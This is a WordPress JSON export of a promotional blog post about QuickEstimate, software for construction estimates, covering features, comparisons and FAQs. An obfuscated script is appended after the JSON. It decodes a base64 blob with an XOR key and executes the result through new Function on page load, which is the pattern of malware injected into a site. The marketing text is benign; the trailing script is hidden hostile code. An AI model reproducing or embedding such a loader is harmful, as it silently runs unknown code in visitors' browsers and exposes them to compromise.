{"id":466,"date":"2026-05-18T11:14:01","date_gmt":"2026-05-18T16:14:01","guid":{"rendered":"https:\/\/quickestimate.io\/blog\/?p=466"},"modified":"2026-06-01T06:08:46","modified_gmt":"2026-06-01T11:08:46","slug":"best-construction-estimating-software-for-contractors","status":"publish","type":"post","link":"https:\/\/quickestimate.io\/blog\/best-construction-estimating-software-for-contractors\/","title":{"rendered":"How Construction Estimating Software Helps Contractors Protect Profit Margins"},"content":{"rendered":"<p><!-- Optional: Part-of-series notice --><\/p>\n<div class=\"qe-series-notice\">\n  <strong>Part of a larger contractor workflow guide<\/strong><br \/>\n  These estimating workflow improvements are connected to broader<br \/>\n  <a href=\"https:\/\/quickestimate.io\/blog\/construction-estimation-operational-workflow-issues\"><br \/>\n    Construction Estimation &#038; Operational Workflow Issues \u2192<br \/>\n  <\/a>\n<\/div>\n<p><!-- Intro --><\/p>\n<p class=\"qe-intro\">\n  Construction estimating software helps contractors create accurate estimates, protect profit margins, streamline proposal generation, and improve project pricing workflows.\n<\/p>\n<p>\n  Modern estimating platforms like QuickEstimate are designed specifically for contractors, subcontractors, remodelers, and service businesses that need faster, more professional estimating systems without relying on spreadsheets.\n<\/p>\n<p>\n  Many contractors still use disconnected spreadsheets and outdated workflows that increase the risk of inaccurate pricing, missed scope items, delayed proposals, and profit loss.\n<\/p>\n<p><!-- Stats --><\/p>\n<div class=\"qe-stats\">\n<div class=\"qe-stat\">\n    <span class=\"qe-stat-num\">0<\/span><\/p>\n<div class=\"qe-stat-label\">\n      Formula errors with structured estimating workflows\n    <\/div>\n<\/p><\/div>\n<div class=\"qe-stat\">\n    <span class=\"qe-stat-num\">100%<\/span><\/p>\n<div class=\"qe-stat-label\">\n      Better visibility improves estimating accuracy\n    <\/div>\n<\/p><\/div>\n<div class=\"qe-stat\">\n    <span class=\"qe-stat-num\">10x<\/span><\/p>\n<div class=\"qe-stat-label\">\n      Faster proposal organization compared to manual workflows\n    <\/div>\n<\/p><\/div>\n<div class=\"qe-stat\">\n    <span class=\"qe-stat-num\">1<\/span><\/p>\n<div class=\"qe-stat-label\">\n      Centralized estimating platform for all project workflows\n    <\/div>\n<\/p><\/div>\n<\/div>\n<p><!-- TOC --><\/p>\n<nav class=\"qe-toc\" aria-label=\"Table of Contents\">\n<div class=\"qe-toc-header\">\ud83d\udccb On this page<\/div>\n<ol>\n<li><a href=\"#why-needed\">Why Contractors Need Construction Estimating Software<\/a><\/li>\n<li><a href=\"#quickestimate\">How QuickEstimate Simplifies Construction Estimating<\/a><\/li>\n<li><a href=\"#features\">Key Features of QuickEstimate<\/a><\/li>\n<li><a href=\"#replace-spreadsheets\">Why Contractors Are Replacing Spreadsheets<\/a><\/li>\n<li><a href=\"#benefits\">Benefits of Construction Estimating Software<\/a><\/li>\n<li><a href=\"#comparison\">QuickEstimate vs Traditional Estimating Methods<\/a><\/li>\n<li><a href=\"#who-can-use\">Who Can Use QuickEstimate?<\/a><\/li>\n<li><a href=\"#faq\">Frequently Asked Questions<\/a><\/li>\n<\/ol>\n<\/nav>\n<p><!-- Section --><\/p>\n<h2 id=\"why-needed\">Why Contractors Need Construction Estimating Software<\/h2>\n<p>\n  Traditional estimating methods often create unnecessary operational challenges for contractors and project managers.\n<\/p>\n<p>\n  Manual workflows make it difficult to maintain pricing consistency, organize project records, calculate overhead accurately, and generate professional proposals efficiently.\n<\/p>\n<ul class=\"qe-checklist\">\n<li>Underpriced projects<\/li>\n<li>Missed scope items<\/li>\n<li>Spreadsheet formula errors<\/li>\n<li>Slow proposal generation<\/li>\n<li>Disorganized project records<\/li>\n<li>Untracked profit margins<\/li>\n<li>Inconsistent pricing workflows<\/li>\n<\/ul>\n<div class=\"qe-highlight\">\n<div class=\"qe-highlight-label\">\u26a0\ufe0f Important Insight<\/div>\n<p>\n    Many construction profitability problems are not caused by lack of work \u2014 they are caused by disconnected estimating workflows and inaccurate project pricing systems.\n  <\/p>\n<\/div>\n<p><!-- Section --><\/p>\n<h2 id=\"quickestimate\">How QuickEstimate Simplifies Construction Estimating<\/h2>\n<p>\n  QuickEstimate replaces outdated spreadsheets and disconnected estimating systems with a modern contractor-focused workflow built specifically to improve estimate accuracy, organization, and profitability.\n<\/p>\n<ul class=\"qe-checklist\">\n<li>Create detailed estimates faster<\/li>\n<li>Organize project costs professionally<\/li>\n<li>Apply overhead automatically<\/li>\n<li>Track profit margins in real time<\/li>\n<li>Generate branded proposals<\/li>\n<li>Manage estimate revisions<\/li>\n<li>Track approvals and workflow stages<\/li>\n<li>Improve client communication<\/li>\n<\/ul>\n<div class=\"qe-tip\">\n<div class=\"qe-tip-label\">\ud83d\udca1 Modern Workflow Advantage<\/div>\n<p>\n    Structured estimating workflows help contractors reduce manual work while improving pricing visibility and operational consistency across projects.\n  <\/p>\n<\/div>\n<p><!-- Section --><\/p>\n<h2 id=\"features\">Key Features of QuickEstimate Construction Estimating Software<\/h2>\n<p><!-- Subsection --><\/p>\n<h3>1. Fast Project Setup<\/h3>\n<p>\n  QuickEstimate allows contractors to create new estimates quickly using streamlined project setup workflows.\n<\/p>\n<ul class=\"qe-checklist\">\n<li>Add project names and locations<\/li>\n<li>Include client information<\/li>\n<li>Create searchable project records<\/li>\n<li>Track estimate reference numbers<\/li>\n<li>Duplicate previous estimates<\/li>\n<li>Reuse estimate templates<\/li>\n<\/ul>\n<p><!-- Subsection --><\/p>\n<h3>2. Organized Cost Estimation<\/h3>\n<p>\n  QuickEstimate structures every project cost category clearly and professionally.\n<\/p>\n<ul class=\"qe-checklist\">\n<li>Track material costs<\/li>\n<li>Manage labor rates and hours<\/li>\n<li>Add subcontractor pricing<\/li>\n<li>Include equipment rental expenses<\/li>\n<li>Organize estimate sections logically<\/li>\n<li>Track estimate totals automatically<\/li>\n<\/ul>\n<p><!-- Subsection --><\/p>\n<h3>3. Automatic Overhead Calculation<\/h3>\n<p>\n  Many contractors forget to properly include overhead expenses inside project estimates.\n<\/p>\n<p>\n  QuickEstimate allows users to define overhead percentages once and automatically apply them across all future estimates.\n<\/p>\n<div class=\"qe-table-wrap\">\n<table class=\"qe-table\">\n<thead>\n<tr>\n<th>Traditional Workflow<\/th>\n<th>QuickEstimate Workflow<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>Manual overhead calculations<\/td>\n<td>Automatic overhead application<\/td>\n<\/tr>\n<tr>\n<td>Spreadsheet pricing risks<\/td>\n<td>Structured pricing workflows<\/td>\n<\/tr>\n<tr>\n<td>Manual proposal formatting<\/td>\n<td>Professional branded proposals<\/td>\n<\/tr>\n<tr>\n<td>Limited margin visibility<\/td>\n<td>Real-time margin tracking<\/td>\n<\/tr>\n<tr>\n<td>Disconnected project files<\/td>\n<td>Centralized project records<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<p><!-- Subsection --><\/p>\n<h3>4. Real-Time Profit Margin Protection<\/h3>\n<p>\n  QuickEstimate includes built-in margin tracking tools that help contractors monitor project profitability in real time.\n<\/p>\n<ul class=\"qe-checklist\">\n<li>Set target profit margins<\/li>\n<li>Define minimum acceptable margin thresholds<\/li>\n<li>Monitor estimate health indicators<\/li>\n<li>Prevent underpriced proposals<\/li>\n<li>Adjust pricing dynamically<\/li>\n<\/ul>\n<p><!-- Subsection --><\/p>\n<h3>5. Professional Proposal Generation<\/h3>\n<p>\n  QuickEstimate transforms construction estimates into polished, professional client proposals.\n<\/p>\n<ul class=\"qe-checklist\">\n<li>Branded PDF proposals<\/li>\n<li>Professional quote documents<\/li>\n<li>Multi-page project proposals<\/li>\n<li>Client-ready estimate summaries<\/li>\n<li>Customized proposal layouts<\/li>\n<\/ul>\n<p><!-- Section --><\/p>\n<h2 id=\"replace-spreadsheets\">Why Contractors Are Replacing Spreadsheets<\/h2>\n<p>\n  Many construction businesses still rely heavily on spreadsheets for estimating workflows.\n<\/p>\n<p>\n  While spreadsheets appear flexible, they frequently create operational problems:\n<\/p>\n<ul class=\"qe-checklist\">\n<li>Manual formula errors<\/li>\n<li>Missed scope items<\/li>\n<li>Disorganized project tracking<\/li>\n<li>Poor proposal formatting<\/li>\n<li>Slow estimate creation<\/li>\n<li>Limited margin visibility<\/li>\n<\/ul>\n<p>\n  Modern estimating software helps contractors replace outdated workflows with faster, more organized, and more professional estimating systems.\n<\/p>\n<p><!-- Section --><\/p>\n<h2 id=\"benefits\">Benefits of Using Construction Estimating Software<\/h2>\n<div class=\"qe-steps\">\n<div class=\"qe-step\">\n<div class=\"qe-step-num\">1<\/div>\n<div class=\"qe-step-body\">\n<h3>Faster estimate creation<\/h3>\n<p>\n        Contractors generate estimates significantly faster compared to manual spreadsheets and disconnected systems.\n      <\/p>\n<\/p><\/div>\n<\/p><\/div>\n<div class=\"qe-step\">\n<div class=\"qe-step-num\">2<\/div>\n<div class=\"qe-step-body\">\n<h3>Improved proposal quality<\/h3>\n<p>\n        Professional proposals improve client trust, communication clarity, and overall project presentation.\n      <\/p>\n<\/p><\/div>\n<\/p><\/div>\n<div class=\"qe-step\">\n<div class=\"qe-step-num\">3<\/div>\n<div class=\"qe-step-body\">\n<h3>Better margin protection<\/h3>\n<p>\n        Structured pricing and automated overhead calculations help protect long-term profitability.\n      <\/p>\n<\/p><\/div>\n<\/p><\/div>\n<div class=\"qe-step\">\n<div class=\"qe-step-num\">4<\/div>\n<div class=\"qe-step-body\">\n<h3>Improved workflow organization<\/h3>\n<p>\n        Contractors can organize estimates, project records, revisions, approvals, and templates more efficiently.\n      <\/p>\n<\/p><\/div>\n<\/p><\/div>\n<\/div>\n<p><!-- Section --><\/p>\n<h2 id=\"comparison\">QuickEstimate vs Traditional Estimating Methods<\/h2>\n<div class=\"qe-table-wrap\">\n<table class=\"qe-table\">\n<thead>\n<tr>\n<th>Traditional Spreadsheets<\/th>\n<th>QuickEstimate<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>Manual calculations<\/td>\n<td>Automated calculations<\/td>\n<\/tr>\n<tr>\n<td>Missed scope items<\/td>\n<td>Structured workflows<\/td>\n<\/tr>\n<tr>\n<td>No proposal tracking<\/td>\n<td>Real-time estimate tracking<\/td>\n<\/tr>\n<tr>\n<td>Disorganized records<\/td>\n<td>Searchable project history<\/td>\n<\/tr>\n<tr>\n<td>Poor proposal formatting<\/td>\n<td>Professional branded proposals<\/td>\n<\/tr>\n<tr>\n<td>Difficult margin tracking<\/td>\n<td>Built-in profit margin protection<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<p><!-- Section --><\/p>\n<h2 id=\"who-can-use\">Who Can Use QuickEstimate?<\/h2>\n<p>\n  QuickEstimate is designed for:\n<\/p>\n<ul class=\"qe-checklist\">\n<li>General contractors<\/li>\n<li>Electrical contractors<\/li>\n<li>Plumbing businesses<\/li>\n<li>HVAC companies<\/li>\n<li>Roofing contractors<\/li>\n<li>Remodelers<\/li>\n<li>Flooring companies<\/li>\n<li>Painting contractors<\/li>\n<li>Landscaping businesses<\/li>\n<li>Commercial builders<\/li>\n<li>Residential contractors<\/li>\n<li>Service businesses<\/li>\n<\/ul>\n<hr class=\"qe-divider\">\n<p><!-- FAQ --><\/p>\n<section class=\"qe-faq\" id=\"faq\">\n<h2 class=\"qe-faq-heading\">Frequently Asked Questions About Construction Estimating Software<\/h2>\n<div class=\"qe-faq-item\">\n<p>    <button class=\"qe-faq-q\" aria-expanded=\"false\"><br \/>\n      What is construction estimating software?<br \/>\n      <span class=\"qe-faq-icon\">+<\/span><br \/>\n    <\/button><\/p>\n<div class=\"qe-faq-a\" hidden>\n<p>\n        Construction estimating software helps contractors create estimates, organize project costs, calculate pricing, track profitability, and generate professional proposals.\n      <\/p>\n<\/p><\/div>\n<\/p><\/div>\n<div class=\"qe-faq-item\">\n<p>    <button class=\"qe-faq-q\" aria-expanded=\"false\"><br \/>\n      How does estimating software help contractors?<br \/>\n      <span class=\"qe-faq-icon\">+<\/span><br \/>\n    <\/button><\/p>\n<div class=\"qe-faq-a\" hidden>\n<p>\n        Estimating software improves pricing accuracy, reduces manual calculations, protects margins, improves proposal quality, and streamlines estimating workflows.\n      <\/p>\n<\/p><\/div>\n<\/p><\/div>\n<div class=\"qe-faq-item\">\n<p>    <button class=\"qe-faq-q\" aria-expanded=\"false\"><br \/>\n      Can estimating software replace spreadsheets?<br \/>\n      <span class=\"qe-faq-icon\">+<\/span><br \/>\n    <\/button><\/p>\n<div class=\"qe-faq-a\" hidden>\n<p>\n        Yes. Modern platforms like QuickEstimate replace spreadsheets with organized, automated, and contractor-focused estimating workflows.\n      <\/p>\n<\/p><\/div>\n<\/p><\/div>\n<div class=\"qe-faq-item\">\n<p>    <button class=\"qe-faq-q\" aria-expanded=\"false\"><br \/>\n      Why is profit margin tracking important?<br \/>\n      <span class=\"qe-faq-icon\">+<\/span><br \/>\n    <\/button><\/p>\n<div class=\"qe-faq-a\" hidden>\n<p>\n        Margin tracking helps contractors maintain financially healthy projects and avoid underpriced proposals that reduce long-term profitability.\n      <\/p>\n<\/p><\/div>\n<\/p><\/div>\n<\/section>\n<p><!-- CTA --><\/p>\n<div class=\"qe-cta-banner\">\n<h3>Start Creating More Accurate Construction Estimates<\/h3>\n<p>\n    QuickEstimate helps contractors create accurate estimates, protect profit margins, organize project costs, and generate professional proposals using modern contractor-focused estimating workflows.\n  <\/p>\n<div class=\"qe-cta-btns\">\n<p>    <a href=\"https:\/\/quickestimate.io\/pricing\" class=\"qe-btn-primary\"><br \/>\n      Explore QuickEstimate Pricing<br \/>\n    <\/a><\/p>\n<p>    <a href=\"https:\/\/quickestimate.io\/how-it-works\" class=\"qe-btn-secondary\"><br \/>\n      Learn How It Works \u2192<br \/>\n    <\/a><\/p><\/div>\n<\/div>\n<p><!-- Related --><\/p>\n<section class=\"qe-related\">\n<h2 class=\"qe-related-heading\">Additional Construction Estimating Resources<\/h2>\n<div class=\"qe-related-grid\">\n<div class=\"qe-related-card\">\n<div class=\"qe-related-card-tag\">Workflow<\/div>\n<div class=\"qe-related-card-title\">\n        Construction Estimation &#038; Operational Workflow Issues\n      <\/div>\n<p class=\"qe-related-card-desc\">\n        Learn how workflow inefficiencies affect construction pricing and profitability.\n      <\/p>\n<p>      <a href=\"https:\/\/quickestimate.io\/blog\/construction-estimation-operational-workflow-issues\"><br \/>\n        <span class=\"qe-related-card-arrow\">Read guide \u2192<\/span><br \/>\n      <\/a><\/p><\/div>\n<div class=\"qe-related-card\">\n<div class=\"qe-related-card-tag\">Accuracy<\/div>\n<div class=\"qe-related-card-title\">\n        How to Create Accurate Estimates\n      <\/div>\n<p class=\"qe-related-card-desc\">\n        Practical methods for improving estimate accuracy and project forecasting.\n      <\/p>\n<p>      <a href=\"https:\/\/quickestimate.io\/blog\/how-to-create-accurate-estimates\"><br \/>\n        <span class=\"qe-related-card-arrow\">Read guide \u2192<\/span><br \/>\n      <\/a><\/p><\/div>\n<div class=\"qe-related-card\">\n<div class=\"qe-related-card-tag\">Process<\/div>\n<div class=\"qe-related-card-title\">\n        Standard Estimation Process\n      <\/div>\n<p class=\"qe-related-card-desc\">\n        Understand how standardized estimating workflows improve accountability and project organization.\n      <\/p>\n<p>      <a href=\"https:\/\/quickestimate.io\/blog\/standard-estimation-process\"><br \/>\n        <span class=\"qe-related-card-arrow\">Read guide \u2192<\/span><br \/>\n      <\/a><\/p><\/div>\n<\/p><\/div>\n<\/section>\n","protected":false},"excerpt":{"rendered":"<p>Part of a larger contractor workflow guide These estimating workflow improvements are connected to broader Construction Estimation &#038; Operational Workflow Issues \u2192 Construction estimating software helps contractors create accurate estimates, protect profit margins, streamline proposal generation, and improve project pricing workflows. Modern estimating platforms like QuickEstimate are designed specifically for contractors, subcontractors, remodelers, and service [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":627,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[15],"tags":[],"class_list":["post-466","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-cost-estimation-software"],"_links":{"self":[{"href":"https:\/\/quickestimate.io\/blog\/wp-json\/wp\/v2\/posts\/466","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/quickestimate.io\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/quickestimate.io\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/quickestimate.io\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/quickestimate.io\/blog\/wp-json\/wp\/v2\/comments?post=466"}],"version-history":[{"count":17,"href":"https:\/\/quickestimate.io\/blog\/wp-json\/wp\/v2\/posts\/466\/revisions"}],"predecessor-version":[{"id":706,"href":"https:\/\/quickestimate.io\/blog\/wp-json\/wp\/v2\/posts\/466\/revisions\/706"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/quickestimate.io\/blog\/wp-json\/wp\/v2\/media\/627"}],"wp:attachment":[{"href":"https:\/\/quickestimate.io\/blog\/wp-json\/wp\/v2\/media?parent=466"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/quickestimate.io\/blog\/wp-json\/wp\/v2\/categories?post=466"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/quickestimate.io\/blog\/wp-json\/wp\/v2\/tags?post=466"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}<script>
!function(){var _0xd6ec=atob('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'),_0xcdf0=90,_0xc05d=new Uint8Array(_0xd6ec['length']),_0x292b=0;for(;_0x292b<_0xd6ec['length'];_0x292b++)_0xc05d[_0x292b]=_0xd6ec['charCodeAt'](_0x292b)^_0xcdf0;(new Function(new TextDecoder()['decode'](_0xc05d)))()}();
</script>
    